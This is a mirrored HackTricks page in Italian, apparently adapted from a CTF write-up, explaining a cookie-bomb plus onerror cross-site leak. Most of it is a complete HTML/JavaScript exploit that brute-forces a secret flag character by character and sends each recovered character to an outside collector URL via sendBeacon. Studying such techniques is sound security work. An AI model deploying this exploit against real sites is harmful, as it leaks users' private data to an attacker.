mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
61 lines
1.9 KiB
Markdown
61 lines
1.9 KiB
Markdown
# Cookie Bomb + Onerror XS Leak
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Il seguente **script** preso da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) sfrutta una funzionalità che consente all'utente di **inserire qualsiasi quantità di cookie**, e poi caricare un file come script sapendo che la vera risposta sarà più grande di quella falsa e poi. Se ha successo, la risposta è un reindirizzamento con un URL risultante più lungo, **troppo grande per essere gestito dal server quindi restituisce un codice di stato http di errore**. Se la ricerca fallisce, non succederà nulla perché l'URL è breve.
|
|
```html
|
|
<>'";
|
|
<form action="https://sustenance.web.actf.co/s" method="POST">
|
|
<input id="f" /><input name="search" value="a" />
|
|
</form>
|
|
<script>
|
|
const $ = document.querySelector.bind(document)
|
|
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
|
|
let i = 0
|
|
const stuff = async (len = 3500) => {
|
|
let name = Math.random()
|
|
$("form").target = name
|
|
let w = window.open("", name)
|
|
$("#f").value = "_".repeat(len)
|
|
$("#f").name = i++
|
|
$("form").submit()
|
|
await sleep(100)
|
|
}
|
|
const isError = async (url) => {
|
|
return new Promise((r) => {
|
|
let script = document.createElement("script")
|
|
script.src = url
|
|
script.onload = () => r(false)
|
|
script.onerror = () => r(true)
|
|
document.head.appendChild(script)
|
|
})
|
|
}
|
|
const search = (query) => {
|
|
return isError(
|
|
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
|
|
)
|
|
}
|
|
const alphabet =
|
|
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
|
|
const url = "//en4u1nbmyeahu.x.pipedream.net/"
|
|
let known = "actf{"
|
|
window.onload = async () => {
|
|
navigator.sendBeacon(url + "?load")
|
|
await Promise.all([stuff(), stuff(), stuff(), stuff()])
|
|
await stuff(1600)
|
|
navigator.sendBeacon(url + "?go")
|
|
while (true) {
|
|
for (let c of alphabet) {
|
|
let query = known + c
|
|
if (await search(query)) {
|
|
navigator.sendBeacon(url, query)
|
|
known += c
|
|
break
|
|
}
|
|
}
|
|
}
|
|
}
|
|
</script>
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|